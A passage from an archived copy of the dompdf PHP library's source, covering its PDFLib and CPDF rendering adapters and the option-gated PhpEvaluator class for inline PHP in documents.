        $this->_pdf->resume_page("pagenumber=" . $this->_page_number);
    }

    /**
     * @throws Exception
     */
    public function stream($filename = "document.pdf", $options = [])
    {
        if (headers_sent()) {
            die("Unable to stream pdf: headers already sent");
        }

        if (!isset($options["compress"])) {
            $options["compress"] = true;
        }
        if (!isset($options["Attachment"])) {
            $options["Attachment"] = true;
        }

        if ($options["compress"]) {
            $this->setPDFLibValue("compress", 6);
        } else {
            $this->setPDFLibValue("compress", 0);
        }

        $this->_close();

        $data = "";

        if (self::$IN_MEMORY) {
            $data = $this->_pdf->get_buffer();
            $size = mb_strlen($data, "8bit");
        } else {
            $size = filesize($this->_file);
        }

        header("Cache-Control: private");
        header("Content-Type: application/pdf");
        header("Content-Length: " . $size);

        $filename = str_replace(["\n", "'"], "", basename($filename, ".pdf")) . ".pdf";
        $attachment = $options["Attachment"] ? "attachment" : "inline";
        header(Helpers::buildContentDispositionHeader($attachment, $filename));

        if (self::$IN_MEMORY) {
            echo $data;
        } else {
            // Chunked readfile()
            $chunk = (1 << 21); // 2 MB
            $fh = fopen($this->_file, "rb");
            if (!$fh) {
                throw new Exception("Unable to load temporary PDF file: " . $this->_file);
            }

            while (!feof($fh)) {
                echo fread($fh, $chunk);
            }
            fclose($fh);

            //debugpng
            if ($this->_dompdf->getOptions()->getDebugPng()) {
                print '[pdflib stream unlink ' . $this->_file . ']';
            }
            if (!$this->_dompdf->getOptions()->getDebugKeepTemp()) {
                unlink($this->_file);
            }
            $this->_file = null;
            unset($this->_file);
        }

        flush();
    }

    public function output($options = [])
    {
        if (!isset($options["compress"])) {
            $options["compress"] = true;
        }

        if ($options["compress"]) {
            $this->setPDFLibValue("compress", 6);
        } else {
            $this->setPDFLibValue("compress", 0);
        }

        $this->_close();

        if (self::$IN_MEMORY) {
            $data = $this->_pdf->get_buffer();
        } else {
            $data = file_get_contents($this->_file);

            //debugpng
            if ($this->_dompdf->getOptions()->getDebugPng()) {
                print '[pdflib output unlink ' . $this->_file . ']';
            }
            if (!$this->_dompdf->getOptions()->getDebugKeepTemp()) {
                unlink($this->_file);
            }
            $this->_file = null;
            unset($this->_file);
        }

        return $data;
    }

    /**
     * @param string $keyword
     * @param string $optlist
     * @return mixed
     */
    protected function getPDFLibParameter($keyword, $optlist = "")
    {
        if ($this->getPDFLibMajorVersion() >= 9) {
            return $this->_pdf->get_option($keyword, "");
        }

        return $this->_pdf->get_parameter($keyword, $optlist);
    }

    /**
     * @param string $keyword
     * @param string $value
     * @return mixed
     */
    protected function setPDFLibParameter($keyword, $value)
    {
        if ($this->getPDFLibMajorVersion() >= 9) {
            return $this->_pdf->set_option($keyword . "=" . $value);
        }

        return $this->_pdf->set_parameter($keyword, $value);
    }

    /**
     * @param string $keyword
     * @param string $optlist
     * @return mixed
     */
    protected function getPDFLibValue($keyword, $optlist = "")
    {
        if ($this->getPDFLibMajorVersion() >= 9) {
            return $this->getPDFLibParameter($keyword, $optlist);
        }

        return $this->_pdf->get_value($keyword);
    }

    /**
     * @param string $keyword
     * @param string $value
     * @return mixed
     */
    protected function setPDFLibValue($keyword, $value)
    {
        if ($this->getPDFLibMajorVersion() >= 9) {
            return $this->setPDFLibParameter($keyword, $value);
        }

        return $this->_pdf->set_value($keyword, $value);
    }

    /**
     * @return int
     */
    protected function getPDFLibMajorVersion()
    {
        if (is_null(self::$MAJOR_VERSION)) {
            if (method_exists($this->_pdf, "get_option")) {
                self::$MAJOR_VERSION = abs(intval($this->_pdf->get_option("major", "")));
            } else {
                self::$MAJOR_VERSION = abs(intval($this->_pdf->get_value("major", "")));
            }
        }

        return self::$MAJOR_VERSION;
    }
}

// Workaround for idiotic limitation on statics...
PDFLib::$PAPER_SIZES = CPDF::$PAPER_SIZES;
vendor/dompdf/dompdf/src/Adapter/CPDF.php000066600000071516151150443010014167 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

// FIXME: Need to sanity check inputs to this class
namespace Dompdf\Adapter;

use Dompdf\Canvas;
use Dompdf\Dompdf;
use Dompdf\Exception;
use Dompdf\FontMetrics;
use Dompdf\Helpers;
use Dompdf\Image\Cache;
use FontLib\Exception\FontNotFoundException;

/**
 * PDF rendering interface
 *
 * Dompdf\Adapter\CPDF provides a simple stateless interface to the stateful one
 * provided by the Cpdf class.
 *
 * Unless otherwise mentioned, all dimensions are in points (1/72 in).  The
 * coordinate origin is in the top left corner, and y values increase
 * downwards.
 *
 * See {@link http://www.ros.co.nz/pdf/} for more complete documentation
 * on the underlying {@link Cpdf} class.
 *
 * @package dompdf
 */
class CPDF implements Canvas
{

    /**
     * Dimensions of paper sizes in points
     *
     * @var array
     */
    static $PAPER_SIZES = [
        "4a0" => [0.0, 0.0, 4767.87, 6740.79],
        "2a0" => [0.0, 0.0, 3370.39, 4767.87],
        "a0" => [0.0, 0.0, 2383.94, 3370.39],
        "a1" => [0.0, 0.0, 1683.78, 2383.94],
        "a2" => [0.0, 0.0, 1190.55, 1683.78],
        "a3" => [0.0, 0.0, 841.89, 1190.55],
        "a4" => [0.0, 0.0, 595.28, 841.89],
        "a5" => [0.0, 0.0, 419.53, 595.28],
        "a6" => [0.0, 0.0, 297.64, 419.53],
        "a7" => [0.0, 0.0, 209.76, 297.64],
        "a8" => [0.0, 0.0, 147.40, 209.76],
        "a9" => [0.0, 0.0, 104.88, 147.40],
        "a10" => [0.0, 0.0, 73.70, 104.88],
        "b0" => [0.0, 0.0, 2834.65, 4008.19],
        "b1" => [0.0, 0.0, 2004.09, 2834.65],
        "b2" => [0.0, 0.0, 1417.32, 2004.09],
        "b3" => [0.0, 0.0, 1000.63, 1417.32],
        "b4" => [0.0, 0.0, 708.66, 1000.63],
        "b5" => [0.0, 0.0, 498.90, 708.66],
        "b6" => [0.0, 0.0, 354.33, 498.90],
        "b7" => [0.0, 0.0, 249.45, 354.33],
        "b8" => [0.0, 0.0, 175.75, 249.45],
        "b9" => [0.0, 0.0, 124.72, 175.75],
        "b10" => [0.0, 0.0, 87.87, 124.72],
        "c0" => [0.0, 0.0, 2599.37, 3676.54],
        "c1" => [0.0, 0.0, 1836.85, 2599.37],
        "c2" => [0.0, 0.0, 1298.27, 1836.85],
        "c3" => [0.0, 0.0, 918.43, 1298.27],
        "c4" => [0.0, 0.0, 649.13, 918.43],
        "c5" => [0.0, 0.0, 459.21, 649.13],
        "c6" => [0.0, 0.0, 323.15, 459.21],
        "c7" => [0.0, 0.0, 229.61, 323.15],
        "c8" => [0.0, 0.0, 161.57, 229.61],
        "c9" => [0.0, 0.0, 113.39, 161.57],
        "c10" => [0.0, 0.0, 79.37, 113.39],
        "ra0" => [0.0, 0.0, 2437.80, 3458.27],
        "ra1" => [0.0, 0.0, 1729.13, 2437.80],
        "ra2" => [0.0, 0.0, 1218.90, 1729.13],
        "ra3" => [0.0, 0.0, 864.57, 1218.90],
        "ra4" => [0.0, 0.0, 609.45, 864.57],
        "sra0" => [0.0, 0.0, 2551.18, 3628.35],
        "sra1" => [0.0, 0.0, 1814.17, 2551.18],
        "sra2" => [0.0, 0.0, 1275.59, 1814.17],
        "sra3" => [0.0, 0.0, 907.09, 1275.59],
        "sra4" => [0.0, 0.0, 637.80, 907.09],
        "letter" => [0.0, 0.0, 612.00, 792.00],
        "half-letter" => [0.0, 0.0, 396.00, 612.00],
        "legal" => [0.0, 0.0, 612.00, 1008.00],
        "ledger" => [0.0, 0.0, 1224.00, 792.00],
        "tabloid" => [0.0, 0.0, 792.00, 1224.00],
        "executive" => [0.0, 0.0, 521.86, 756.00],
        "folio" => [0.0, 0.0, 612.00, 936.00],
        "commercial #10 envelope" => [0.0, 0.0, 684.00, 297.00],
        "catalog #10 1/2 envelope" => [0.0, 0.0, 648.00, 864.00],
        "8.5x11" => [0.0, 0.0, 612.00, 792.00],
        "8.5x14" => [0.0, 0.0, 612.00, 1008.00],
        "11x17" => [0.0, 0.0, 792.00, 1224.00],
    ];

    /**
     * The Dompdf object
     *
     * @var Dompdf
     */
    protected $_dompdf;

    /**
     * Instance of Cpdf class
     *
     * @var \Dompdf\Cpdf
     */
    protected $_pdf;

    /**
     * PDF width, in points
     *
     * @var float
     */
    protected $_width;

    /**
     * PDF height, in points
     *
     * @var float
     */
    protected $_height;

    /**
     * Current page number
     *
     * @var int
     */
    protected $_page_number;

    /**
     * Total number of pages
     *
     * @var int
     */
    protected $_page_count;

    /**
     * Array of pages for accessing after rendering is initially complete
     *
     * @var array
     */
    protected $_pages;

    /**
     * Currently-applied opacity level (0 - 1)
     *
     * @var float
     */
    protected $_current_opacity = 1;

    public function __construct($paper = "letter", string $orientation = "portrait", ?Dompdf $dompdf = null)
    {
        if (is_array($paper)) {
            $size = array_map("floatval", $paper);
        } else {
            $paper = strtolower($paper);
            $size = self::$PAPER_SIZES[$paper] ?? self::$PAPER_SIZES["letter"];
        }

        if (strtolower($orientation) === "landscape") {
            [$size[2], $size[3]] = [$size[3], $size[2]];
        }

        if ($dompdf === null) {
            $this->_dompdf = new Dompdf();
        } else {
            $this->_dompdf = $dompdf;
        }

        $this->_pdf = new \Dompdf\Cpdf(
            $size,
            true,
            $this->_dompdf->getOptions()->getFontCache(),
            $this->_dompdf->getOptions()->getTempDir()
        );

        $this->_pdf->addInfo("Producer", sprintf("%s + CPDF", $this->_dompdf->version));
        $time = substr_replace(date('YmdHisO'), '\'', -2, 0) . '\'';
        $this->_pdf->addInfo("CreationDate", "D:$time");
        $this->_pdf->addInfo("ModDate", "D:$time");

        $this->_width = $size[2] - $size[0];
        $this->_height = $size[3] - $size[1];

        $this->_page_number = $this->_page_count = 1;

        $this->_pages = [$this->_pdf->getFirstPageId()];
    }

    public function get_dompdf()
    {
        return $this->_dompdf;
    }

    /**
     * Returns the Cpdf instance
     *
     * @return \Dompdf\Cpdf
     */
    public function get_cpdf()
    {
        return $this->_pdf;
    }

    public function add_info(string $label, string $value): void
    {
        $this->_pdf->addInfo($label, $value);
    }

    /**
     * Opens a new 'object'
     *
     * While an object is open, all drawing actions are recorded in the object,
     * as opposed to being drawn on the current page.  Objects can be added
     * later to a specific page or to several pages.
     *
     * The return value is an integer ID for the new object.
     *
     * @see CPDF::close_object()
     * @see CPDF::add_object()
     *
     * @return int
     */
    public function open_object()
    {
        $ret = $this->_pdf->openObject();
        $this->_pdf->saveState();
        return $ret;
    }

    /**
     * Reopens an existing 'object'
     *
     * @see CPDF::open_object()
     * @param int $object the ID of a previously opened object
     */
    public function reopen_object($object)
    {
        $this->_pdf->reopenObject($object);
        $this->_pdf->saveState();
    }

    /**
     * Closes the current 'object'
     *
     * @see CPDF::open_object()
     */
    public function close_object()
    {
        $this->_pdf->restoreState();
        $this->_pdf->closeObject();
    }

    /**
     * Adds a specified 'object' to the document
     *
     * $object int specifying an object created with {@link
     * CPDF::open_object()}.  $where can be one of:
     * - 'add' add to current page only
     * - 'all' add to every page from the current one onwards
     * - 'odd' add to all odd numbered pages from now on
     * - 'even' add to all even numbered pages from now on
     * - 'next' add the object to the next page only
     * - 'nextodd' add to all odd numbered pages from the next one
     * - 'nexteven' add to all even numbered pages from the next one
     *
     * @see Cpdf::addObject()
     *
     * @param int $object
     * @param string $where
     */
    public function add_object($object, $where = 'all')
    {
        $this->_pdf->addObject($object, $where);
    }

    /**
     * Stops the specified 'object' from appearing in the document.
     *
     * The object will stop being displayed on the page following the current
     * one.
     *
     * @param int $object
     */
    public function stop_object($object)
    {
        $this->_pdf->stopObject($object);
    }

    /**
     * Serialize the pdf object's current state for retrieval later
     */
    public function serialize_object($id)
    {
        return $this->_pdf->serializeObject($id);
    }

    public function reopen_serialized_object($obj)
    {
        return $this->_pdf->restoreSerializedObject($obj);
    }

    //........................................................................

    public function get_width()
    {
        return $this->_width;
    }

    public function get_height()
    {
        return $this->_height;
    }

    public function get_page_number()
    {
        return $this->_page_number;
    }

    public function get_page_count()
    {
        return $this->_page_count;
    }

    /**
     * Sets the current page number
     *
     * @param int $num
     */
    public function set_page_number($num)
    {
        $this->_page_number = $num;
    }

    public function set_page_count($count)
    {
        $this->_page_count = $count;
    }

    /**
     * Sets the stroke color
     *
     * See {@link Style::set_color()} for the format of the color array.
     *
     * @param array $color
     */
    protected function _set_stroke_color($color)
    {
        $this->_pdf->setStrokeColor($color);
        $alpha = isset($color["alpha"]) ? $color["alpha"] : 1;
        $alpha *= $this->_current_opacity;
        $this->_set_line_transparency("Normal", $alpha);
    }

    /**
     * Sets the fill colour
     *
     * See {@link Style::set_color()} for the format of the colour array.
     *
     * @param array $color
     */
    protected function _set_fill_color($color)
    {
        $this->_pdf->setColor($color);
        $alpha = isset($color["alpha"]) ? $color["alpha"] : 1;
        $alpha *= $this->_current_opacity;
        $this->_set_fill_transparency("Normal", $alpha);
    }

    /**
     * Sets line transparency
     * @see Cpdf::setLineTransparency()
     *
     * Valid blend modes are (case-sensitive):
     *
     * Normal, Multiply, Screen, Overlay, Darken, Lighten,
     * ColorDodge, ColorBurn, HardLight, SoftLight, Difference,
     * Exclusion
     *
     * @param string $mode    the blending mode to use
     * @param float  $opacity 0.0 fully transparent, 1.0 fully opaque
     */
    protected function _set_line_transparency($mode, $opacity)
    {
        $this->_pdf->setLineTransparency($mode, $opacity);
    }

    /**
     * Sets fill transparency
     * @see Cpdf::setFillTransparency()
     *
     * Valid blend modes are (case-sensitive):
     *
     * Normal, Multiply, Screen, Overlay, Darken, Lighten,
     * ColorDogde, ColorBurn, HardLight, SoftLight, Difference,
     * Exclusion
     *
     * @param string $mode    the blending mode to use
     * @param float  $opacity 0.0 fully transparent, 1.0 fully opaque
     */
    protected function _set_fill_transparency($mode, $opacity)
    {
        $this->_pdf->setFillTransparency($mode, $opacity);
    }

    /**
     * Sets the line style
     *
     * @see Cpdf::setLineStyle()
     *
     * @param float  $width
     * @param string $cap
     * @param string $join
     * @param array  $dash
     */
    protected function _set_line_style($width, $cap, $join, $dash)
    {
        $this->_pdf->setLineStyle($width, $cap, $join, $dash);
    }

    public function set_opacity(float $opacity, string $mode = "Normal"): void
    {
        $this->_set_line_transparency($mode, $opacity);
        $this->_set_fill_transparency($mode, $opacity);
        $this->_current_opacity = $opacity;
    }

    public function set_default_view($view, $options = [])
    {
        array_unshift($options, $view);
        call_user_func_array([$this->_pdf, "openHere"], $options);
    }

    /**
     * Remaps y coords from 4th to 1st quadrant
     *
     * @param float $y
     * @return float
     */
    protected function y($y)
    {
        return $this->_height - $y;
    }

    public function line($x1, $y1, $x2, $y2, $color, $width, $style = [], $cap = "butt")
    {
        $this->_set_stroke_color($color);
        $this->_set_line_style($width, $cap, "", $style);

        $this->_pdf->line($x1, $this->y($y1),
            $x2, $this->y($y2));
        $this->_set_line_transparency("Normal", $this->_current_opacity);
    }

    public function arc($x, $y, $r1, $r2, $astart, $aend, $color, $width, $style = [], $cap = "butt")
    {
        $this->_set_stroke_color($color);
        $this->_set_line_style($width, $cap, "", $style);

        $this->_pdf->ellipse($x, $this->y($y), $r1, $r2, 0, 8, $astart, $aend, false, false, true, false);
        $this->_set_line_transparency("Normal", $this->_current_opacity);
    }

    public function rectangle($x1, $y1, $w, $h, $color, $width, $style = [], $cap = "butt")
    {
        $this->_set_stroke_color($color);
        $this->_set_line_style($width, $cap, "", $style);
        $this->_pdf->rectangle($x1, $this->y($y1) - $h, $w, $h);
        $this->_set_line_transparency("Normal", $this->_current_opacity);
    }

    public function filled_rectangle($x1, $y1, $w, $h, $color)
    {
        $this->_set_fill_color($color);
        $this->_pdf->filledRectangle($x1, $this->y($y1) - $h, $w, $h);
        $this->_set_fill_transparency("Normal", $this->_current_opacity);
    }

    public function clipping_rectangle($x1, $y1, $w, $h)
    {
        $this->_pdf->clippingRectangle($x1, $this->y($y1) - $h, $w, $h);
    }

    public function clipping_roundrectangle($x1, $y1, $w, $h, $rTL, $rTR, $rBR, $rBL)
    {
        $this->_pdf->clippingRectangleRounded($x1, $this->y($y1) - $h, $w, $h, $rTL, $rTR, $rBR, $rBL);
    }

    public function clipping_polygon(array $points): void
    {
        // Adjust y values
        for ($i = 1; $i < count($points); $i += 2) {
            $points[$i] = $this->y($points[$i]);
        }

        $this->_pdf->clippingPolygon($points);
    }

    public function clipping_end()
    {
        $this->_pdf->clippingEnd();
    }

    public function save()
    {
        $this->_pdf->saveState();
    }

    public function restore()
    {
        $this->_pdf->restoreState();
    }

    public function rotate($angle, $x, $y)
    {
        $this->_pdf->rotate($angle, $x, $y);
    }

    public function skew($angle_x, $angle_y, $x, $y)
    {
        $this->_pdf->skew($angle_x, $angle_y, $x, $y);
    }

    public function scale($s_x, $s_y, $x, $y)
    {
        $this->_pdf->scale($s_x, $s_y, $x, $y);
    }

    public function translate($t_x, $t_y)
    {
        $this->_pdf->translate($t_x, $t_y);
    }

    public function transform($a, $b, $c, $d, $e, $f)
    {
        $this->_pdf->transform([$a, $b, $c, $d, $e, $f]);
    }

    public function polygon($points, $color, $width = null, $style = [], $fill = false)
    {
        $this->_set_fill_color($color);
        $this->_set_stroke_color($color);

        if (!$fill && isset($width)) {
            $this->_set_line_style($width, "square", "miter", $style);
        }

        // Adjust y values
        for ($i = 1; $i < count($points); $i += 2) {
            $points[$i] = $this->y($points[$i]);
        }

        $this->_pdf->polygon($points, $fill);

        $this->_set_fill_transparency("Normal", $this->_current_opacity);
        $this->_set_line_transparency("Normal", $this->_current_opacity);
    }

    public function circle($x, $y, $r, $color, $width = null, $style = [], $fill = false)
    {
        $this->_set_fill_color($color);
        $this->_set_stroke_color($color);

        if (!$fill && isset($width)) {
            $this->_set_line_style($width, "round", "round", $style);
        }

        $this->_pdf->ellipse($x, $this->y($y), $r, 0, 0, 8, 0, 360, 1, $fill);

        $this->_set_fill_transparency("Normal", $this->_current_opacity);
        $this->_set_line_transparency("Normal", $this->_current_opacity);
    }

    /**
     * Convert image to a PNG image
     *
     * @param string $image_url
     * @param string $type
     *
     * @return string|null The url of the newly converted image
     */
    protected function _convert_to_png($image_url, $type)
    {
        $filename = Cache::getTempImage($image_url);

        if ($filename !== null && file_exists($filename)) {
            return $filename;
        }
 
        $func_name = "imagecreatefrom$type";

        set_error_handler([Helpers::class, "record_warnings"]);

        if (method_exists(Helpers::class, $func_name)) {
            $func_name = [Helpers::class, $func_name];
        } elseif (!function_exists($func_name)) {
            throw new Exception("Function $func_name() not found.  Cannot convert $type image: $image_url.  Please install the image PHP extension.");
        }

        try {
            $im = call_user_func($func_name, $image_url);

            if ($im) {
                imageinterlace($im, false);

                $tmp_dir = $this->_dompdf->getOptions()->getTempDir();
                $tmp_name = @tempnam($tmp_dir, "{$type}_dompdf_img_");
                @unlink($tmp_name);
                $filename = "$tmp_name.png";

                imagepng($im, $filename);
                imagedestroy($im);
            } else {
                $filename = null;
            }
        } finally {
            restore_error_handler();
        }

        if ($filename !== null) {
            Cache::addTempImage($image_url, $filename);
        }

        return $filename;
    }

    public function image($img, $x, $y, $w, $h, $resolution = "normal")
    {
        [$width, $height, $type] = Helpers::dompdf_getimagesize($img, $this->get_dompdf()->getHttpContext());

        $debug_png = $this->_dompdf->getOptions()->getDebugPng();

        if ($debug_png) {
            print "[image:$img|$width|$height|$type]";
        }

        switch ($type) {
            case "jpeg":
                if ($debug_png) {
                    print '!!!jpg!!!';
                }
                $this->_pdf->addJpegFromFile($img, $x, $this->y($y) - $h, $w, $h);
                break;

            case "webp":
            /** @noinspection PhpMissingBreakStatementInspection */
            case "gif":
            /** @noinspection PhpMissingBreakStatementInspection */
            case "bmp":
                if ($debug_png) print "!!!{$type}!!!";
                $img = $this->_convert_to_png($img, $type);
                if ($img === null) {
                    if ($debug_png) print '!!!conversion to PDF failed!!!';
                    $this->image(Cache::$broken_image, $x, $y, $w, $h, $resolution);
                    break;
                }

            case "png":
                if ($debug_png) print '!!!png!!!';

                $this->_pdf->addPngFromFile($img, $x, $this->y($y) - $h, $w, $h);
                break;

            case "svg":
                if ($debug_png) print '!!!SVG!!!';

                $this->_pdf->addSvgFromFile($img, $x, $this->y($y) - $h, $w, $h);
                break;

            default:
                if ($debug_png) print '!!!unknown!!!';
        }
    }

    public function select($x, $y, $w, $h, $font, $size, $color = [0, 0, 0], $opts = [])
    {
        $pdf = $this->_pdf;

        $pdf->selectFont($font);

        if (!isset($pdf->acroFormId)) {
            $pdf->addForm();
        }

        $ft = \Dompdf\Cpdf::ACROFORM_FIELD_CHOICE;
        $ff = \Dompdf\Cpdf::ACROFORM_FIELD_CHOICE_COMBO;

        $id = $pdf->addFormField($ft, rand(), $x, $this->y($y) - $h, $x + $w, $this->y($y), $ff, $size, $color);
        $pdf->setFormFieldOpt($id, $opts);
    }

    public function textarea($x, $y, $w, $h, $font, $size, $color = [0, 0, 0])
    {
        $pdf = $this->_pdf;

        $pdf->selectFont($font);

        if (!isset($pdf->acroFormId)) {
            $pdf->addForm();
        }

        $ft = \Dompdf\Cpdf::ACROFORM_FIELD_TEXT;
        $ff = \Dompdf\Cpdf::ACROFORM_FIELD_TEXT_MULTILINE;

        $pdf->addFormField($ft, rand(), $x, $this->y($y) - $h, $x + $w, $this->y($y), $ff, $size, $color);
    }

    public function input($x, $y, $w, $h, $type, $font, $size, $color = [0, 0, 0])
    {
        $pdf = $this->_pdf;

        $pdf->selectFont($font);

        if (!isset($pdf->acroFormId)) {
            $pdf->addForm();
        }

        $ft = \Dompdf\Cpdf::ACROFORM_FIELD_TEXT;
        $ff = 0;

        switch ($type) {
            case 'text':
                $ft = \Dompdf\Cpdf::ACROFORM_FIELD_TEXT;
                break;
            case 'password':
                $ft = \Dompdf\Cpdf::ACROFORM_FIELD_TEXT;
                $ff = \Dompdf\Cpdf::ACROFORM_FIELD_TEXT_PASSWORD;
                break;
            case 'submit':
                $ft = \Dompdf\Cpdf::ACROFORM_FIELD_BUTTON;
                break;
        }

        $pdf->addFormField($ft, rand(), $x, $this->y($y) - $h, $x + $w, $this->y($y), $ff, $size, $color);
    }

    public function text($x, $y, $text, $font, $size, $color = [0, 0, 0], $word_space = 0.0, $char_space = 0.0, $angle = 0.0)
    {
        $pdf = $this->_pdf;

        $this->_set_fill_color($color);

        $is_font_subsetting = $this->_dompdf->getOptions()->getIsFontSubsettingEnabled();
        $pdf->selectFont($font, '', true, $is_font_subsetting);

        $pdf->addText($x, $this->y($y) - $pdf->getFontHeight($size), $size, $text, $angle, $word_space, $char_space);

        $this->_set_fill_transparency("Normal", $this->_current_opacity);
    }

    public function javascript($code)
    {
        $this->_pdf->addJavascript($code);
    }

    //........................................................................

    public function add_named_dest($anchorname)
    {
        $this->_pdf->addDestination($anchorname, "Fit");
    }

    public function add_link($url, $x, $y, $width, $height)
    {
        $y = $this->y($y) - $height;

        if (strpos($url, '#') === 0) {
            // Local link
            $name = substr($url, 1);
            if ($name) {
                $this->_pdf->addInternalLink($name, $x, $y, $x + $width, $y + $height);
            }
        } else {
            $this->_pdf->addLink($url, $x, $y, $x + $width, $y + $height);
        }
    }

    public function font_supports_char(string $font, string $char): bool
    {
        if ($char === "") {
            return true;
        }

        $subsetting = $this->_dompdf->getOptions()->getIsFontSubsettingEnabled();
        $this->_pdf->selectFont($font, '', false, $subsetting);
        if (!\array_key_exists($font, $this->_pdf->fonts)) {
            return false;
        }
        $fontInfo = $this->_pdf->fonts[$font];
        $charCode = Helpers::uniord($char, "UTF-8");

        if (!$fontInfo["isUnicode"]) {
            // The core fonts use Windows ANSI encoding. The char map uses the
            // position of the character in the encoding's mapping table in this
            // case, not the Unicode code point, which is different for the
            // characters outside ISO-8859-1 (positions 0x80-0x9F)
            // https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT
            $mapping = [
                0x20AC => 0x80,
                0x201A => 0x82,
                0x0192 => 0x83,
                0x201E => 0x84,
                0x2026 => 0x85,
                0x2020 => 0x86,
                0x2021 => 0x87,
                0x02C6 => 0x88,
                0x2030 => 0x89,
                0x0160 => 0x8A,
                0x2039 => 0x8B,
                0x0152 => 0x8C,
                0x017D => 0x8E,
                0x2018 => 0x91,
                0x2019 => 0x92,
                0x201C => 0x93,
                0x201D => 0x94,
                0x2022 => 0x95,
                0x2013 => 0x96,
                0x2014 => 0x97,
                0x02DC => 0x98,
                0x2122 => 0x99,
                0x0161 => 0x9A,
                0x203A => 0x9B,
                0x0153 => 0x9C,
                0x017E => 0x9E,
                0x0178 => 0x9F
            ];

            $charCode = $mapping[$charCode] ?? $charCode;

            if ($charCode > 0xFF) {
                return false;
            }
        }

        return \array_key_exists($charCode, $fontInfo["C"]);
    }

    /**
     * @throws FontNotFoundException
     */
    public function get_text_width($text, $font, $size, $word_spacing = 0.0, $char_spacing = 0.0)
    {
        $this->_pdf->selectFont($font, '', true, $this->_dompdf->getOptions()->getIsFontSubsettingEnabled());
        return $this->_pdf->getTextWidth($size, $text, $word_spacing, $char_spacing);
    }

    /**
     * @throws FontNotFoundException
     */
    public function get_font_height($font, $size)
    {
        $options = $this->_dompdf->getOptions();
        $this->_pdf->selectFont($font, '', true, $options->getIsFontSubsettingEnabled());

        return $this->_pdf->getFontHeight($size) * $options->getFontHeightRatio();
    }

    /*function get_font_x_height($font, $size) {
      $this->_pdf->selectFont($font);
      $ratio = $this->_dompdf->getOptions()->getFontHeightRatio();
      return $this->_pdf->getFontXHeight($size) * $ratio;
    }*/

    /**
     * @throws FontNotFoundException
     */
    public function get_font_baseline($font, $size)
    {
        $ratio = $this->_dompdf->getOptions()->getFontHeightRatio();
        return $this->get_font_height($font, $size) / $ratio;
    }

    /**
     * Processes a callback or script on every page.
     *
     * The callback function receives the four parameters `int $pageNumber`,
     * `int $pageCount`, `Canvas $canvas`, and `FontMetrics $fontMetrics`, in
     * that order. If a script is passed as string, the variables `$PAGE_NUM`,
     * `$PAGE_COUNT`, `$pdf`, and `$fontMetrics` are available instead. Passing
     * a script as string is deprecated and will be removed in a future version.
     *
     * This function can be used to add page numbers to all pages after the
     * first one, for example.
     *
     * @param callable|string $callback The callback function or PHP script to process on every page
     */
    public function page_script($callback): void
    {
        if (is_string($callback)) {
            $this->processPageScript(function (
                int $PAGE_NUM,
                int $PAGE_COUNT,
                self $pdf,
                FontMetrics $fontMetrics
            ) use ($callback) {
                eval($callback);
            });
            return;
        }

        $this->processPageScript($callback);
    }

    public function page_text($x, $y, $text, $font, $size, $color = [0, 0, 0], $word_space = 0.0, $char_space = 0.0, $angle = 0.0)
    {
        $this->processPageScript(function (int $pageNumber, int $pageCount) use ($x, $y, $text, $font, $size, $color, $word_space, $char_space, $angle) {
            $text = str_replace(
                ["{PAGE_NUM}", "{PAGE_COUNT}"],
                [$pageNumber, $pageCount],
                $text
            );
            $this->text($x, $y, $text, $font, $size, $color, $word_space, $char_space, $angle);
        });
    }

    public function page_line($x1, $y1, $x2, $y2, $color, $width, $style = [])
    {
        $this->processPageScript(function () use ($x1, $y1, $x2, $y2, $color, $width, $style) {
            $this->line($x1, $y1, $x2, $y2, $color, $width, $style);
        });
    }

    /**
     * @return int
     */
    public function new_page()
    {
        $this->_page_number++;
        $this->_page_count++;

        $ret = $this->_pdf->newPage();
        $this->_pages[] = $ret;
        return $ret;
    }

    protected function processPageScript(callable $callback): void
    {
        $pageNumber = 1;

        foreach ($this->_pages as $pid) {
            $this->reopen_object($pid);

            $fontMetrics = $this->_dompdf->getFontMetrics();
            $callback($pageNumber, $this->_page_count, $this, $fontMetrics);

            $this->close_object();
            $pageNumber++;
        }
    }

    public function stream($filename = "document.pdf", $options = [])
    {
        if (headers_sent()) {
            die("Unable to stream pdf: headers already sent");
        }

        if (!isset($options["compress"])) $options["compress"] = true;
        if (!isset($options["Attachment"])) $options["Attachment"] = true;

        $debug = !$options['compress'];
        $tmp = ltrim($this->_pdf->output($debug));

        header("Cache-Control: private");
        header("Content-Type: application/pdf");
        header("Content-Length: " . mb_strlen($tmp, "8bit"));

        $filename = str_replace(["\n", "'"], "", basename($filename, ".pdf")) . ".pdf";
        $attachment = $options["Attachment"] ? "attachment" : "inline";
        header(Helpers::buildContentDispositionHeader($attachment, $filename));

        echo $tmp;
        flush();
    }

    public function output($options = [])
    {
        if (!isset($options["compress"])) $options["compress"] = true;

        $debug = !$options['compress'];

        return $this->_pdf->output($debug);
    }

    /**
     * Returns logging messages generated by the Cpdf class
     *
     * @return string
     */
    public function get_messages()
    {
        return $this->_pdf->messages;
    }
}
vendor/dompdf/dompdf/src/PhpEvaluator.php000066600000002411151150443010014471 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

/**
 * Executes inline PHP code during the rendering process
 *
 * @package dompdf
 */
class PhpEvaluator
{

    /**
     * @var Canvas
     */
    protected $_canvas;

    /**
     * PhpEvaluator constructor.
     * @param Canvas $canvas
     */
    public function __construct(Canvas $canvas)
    {
        $this->_canvas = $canvas;
    }

    /**
     * @param $code
     * @param array $vars
     */
    public function evaluate($code, $vars = [])
    {
        if (!$this->_canvas->get_dompdf()->getOptions()->getIsPhpEnabled()) {
            return;
        }

        // Set up some variables for the inline code
        $pdf = $this->_canvas;
        $fontMetrics = $pdf->get_dompdf()->getFontMetrics();
        $PAGE_NUM = $pdf->get_page_number();
        $PAGE_COUNT = $pdf->get_page_count();

        // Override those variables if passed in
        foreach ($vars as $k => $v) {
            $$k = $v;
        }

        eval($code);
    }

    /**
     * @param Frame $frame
     */
    public function render(Frame $frame)
    {
        $this->evaluate($frame->get_node()->nodeValue);
    }
}
vendor/dompdf/dompdf/src/Positioner/Absolute.php000066600000011074151150443010015775 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
